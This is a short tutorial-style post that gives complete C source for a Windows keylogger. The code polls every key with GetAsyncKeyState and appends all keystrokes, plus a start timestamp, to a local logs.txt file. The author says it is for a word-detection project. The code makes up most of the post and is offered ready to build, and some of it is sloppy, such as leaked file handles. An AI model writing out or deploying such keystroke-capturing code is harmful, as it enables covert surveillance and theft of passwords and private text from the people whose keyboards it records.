I needed a keylogger for a project I was doing to be able to detect certain words so it could perform certain actions. So I’m going to give a quick overview of what I did. This was done all in Visual Studios .
#include <windows.h>// declarations for windows API #include <stdio.h> #include <winuser.h>// user procedure delarations,constant definitions #include <windowsx.h>//message macros #include <time.h>// time and date support #include "key.h" #define FileName "logs.txt" int main(void) { // File I/O stuff FILE *file; file=fopen(FileName,"a+"); time_t theTime=time(0); fputs("\n#####################\nStarted Logging at ", file); fputs(ctime(&theTime),file); fputs("\n#####################\n", file); fclose(file); //Logging Stuff int t = getKeys(); return t; }
This is my main function. I added some FIle I/O code so it will save all the writing when the program is running in a textpad with the file called ‘FileName’ . I It will also write down the time it starts to write. The Actual keylogger code is in my getKeys function which is in another C file (hence the header file added above)
int getKeys() { int freadindex; char *buf; long len; FILE *file; file=fopen(FileName,"a+"); short character; while(1) { Sleep(5); for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *file; file=fopen(FileName,"a+");// open file to append if(file==NULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64))//numbers and some special chars { fputc(character,file); fclose(file); break; } else if((character>64)&&(character<91)) // letters { character+=32; fputc(character,file); fclose(file); break; } else { switch(character) // other keyboard chacarters non ascii value { case VK_SPACE: fputc(' ',file); fclose(file); break; case VK_SHIFT: fputs("[SHIFT]",file); fclose(file); break; case VK_RETURN: fputs("\n[ENTER]\n",file); fclose(file); break; case VK_BACK: fputs("[BACKSPACE]",file); fclose(file); break; case VK_TAB: fputs("[TAB]",file); fclose(file); break; case VK_CONTROL: fputs("[CTRL]",file); fclose(file); break; case VK_DELETE: fputs("[DEL]",file); fclose(file); break; case VK_OEM_1: fputs(":;",file); fclose(file); break; case VK_OEM_2: fputs("?",file); fclose(file); break; case VK_OEM_3: fputs("~",file); fclose(file); break; case VK_OEM_4: fputs("{\r\n",file); fclose(file); break; case VK_OEM_5: fputs("\\",file); fclose(file); break; case VK_OEM_6: fputs("}",file); fclose(file); break; case VK_OEM_7: fputs("\"",file); fclose(file); break; case 187: fputc('+',file); fclose(file); break; case 188: fputc(',',file); fclose(file); break; case 189: fputc('-',file); fclose(file); break; case 190: fputc('.',file); fclose(file); break; case VK_NUMPAD0: fputc('0',file); fclose(file); break; case VK_NUMPAD1: fputc('1',file); fclose(file); break; case VK_NUMPAD2: fputc('2',file); fclose(file); break; case VK_NUMPAD3: fputc('3',file); fclose(file); break; case VK_NUMPAD4: fputc('4',file); fclose(file); break; case VK_NUMPAD5: fputc('5',file); fclose(file); break; case VK_NUMPAD6: fputc('6',file); fclose(file); break; case VK_NUMPAD7: fputc('7',file); fclose(file); break; case VK_NUMPAD8: fputc('8',file); fclose(file); break; case VK_NUMPAD9: fputc('9',file); fclose(file); break; case VK_CAPITAL: fputs("\n[CAPSLOCK]\n",file); fclose(file); break; default: fclose(file); break; } } } } } fclose(file); } return EXIT_SUCCESS; }
The computer takes keyboard input based on the Ascii value each letter or number represent. so say if you press ‘a’ the computer understands ’97’ and if you press ‘A’ it reads 65. basically these loops transform the numbers to letters to print what we recognize them onto the textpad for us to read it easily.
And BANG you got yourself a basic keylogger.